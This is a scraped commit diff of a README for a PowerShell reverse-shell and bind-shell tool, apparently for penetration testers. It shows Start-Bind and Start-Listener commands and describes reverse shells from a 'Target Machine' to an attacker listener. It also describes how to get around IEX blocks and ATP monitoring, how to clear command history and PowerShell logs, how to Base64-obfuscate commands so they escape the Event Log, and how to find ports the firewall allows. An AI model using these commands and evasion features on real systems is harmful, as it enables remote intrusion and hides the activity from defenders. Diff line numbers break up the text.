You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
IEX is blocked from users in most cases and Import-Module is monitored by things such as ATP. Downloading files to a target machine is not always allowed in a penetration test. Another method to use is Invoke-Command. This can be done using the following format.
> Adding this module into the PowerShell $PROFILE will import all of the commands every time the executing user opens a PowerShell session. This means you will need to open a new PowerShell session after doing this in order to access the commands. Just like using ```source .bashrc``` to apply changes to the ~/.bashrc file in a linux terminal you can reload the profile by doing the following.
69
+
```
70
+
71
+
Another way to create a PowerShell profile for user
@@ -72,6 +81,7 @@ powershell.exe # Maybe but not sure on this one
72
81
#### START BIND SHELL
73
82
The below command can be executed to start a bind shell that connects the defined port to PowerShell.
74
83
This command binds PowerShell to port 8088. Invoke-ReversePowerShell, netcat, ncat, metasploit, and other tools can be used to connect to this bind shell. You are able to use Ctrl + C to cancel the bind listener.
84
+
75
85
```powershell
76
86
Start-Bind -Port 8088
77
87
```
@@ -80,6 +90,7 @@ Start-Bind -Port 8088
80
90
The below command was executed to start a listener on the Attack machine on port 8089. This can be
81
91
connected too using Invoke-ReversePowerShell as well as ncat, netcat, metasploit, and other tools.
82
92
The listener can be stopped or canceld by doing Ctrl + C.
93
+
83
94
```powershell
84
95
Start-Listener -Port 8089
85
96
```
@@ -94,6 +105,7 @@ __SPECIAL FEATURES OF INVOKE-REVERSEPOWERSHELL__
94
105
95
106
#### ISSUE REVERSE SHELL CONNECTION
96
107
The below command is to be issued on the Target Machine. The below command connected to the listener over port 8089.
In the below command the listening port 8089 on 192.168.0.10 is connected too. When the session is exited the -ClearHistory parameter specified attempts to clear your sessions command history as well as clear the powershell log file.
The below command is to be issued on the Target Machine. The below command connected to the listener over port 8089. The -Obfuscate parameter obfuscates the commands executed using Base64 so they do not appear in clear text in the Event Log.
The below command is used to connect to a listening Bind Shell port. Any of the special parameters can be used to with the Bind parameter set name as well.
If you are not able to gain a connection it is most likely due to the Windows Firewall. If you have access on a machine as a user you will not be able to make firewall changes. You need admin priviledges for that. Use the high range ports RPC would connect to or other common port. If a range has been defined you can find the allowed ports at "HKLM:\Software\Microsoft\Rpc\Internet\ with Entry name Data Type". Otherwise when not defined any ports between 49152-65535 might work.
139
155
This command may also display the port allowed RPC port range
156
+
140
157
```cmd
141
158
netsh int ipv4 show dynamicport tcp
142
159
```
143
160
144
161
The following commands can be used to view firewall rules. If one of these does not work.
145
162
the other might.
163
+
146
164
```powershell
147
165
# This way should work to display the firewall even if you are a user
0 commit comments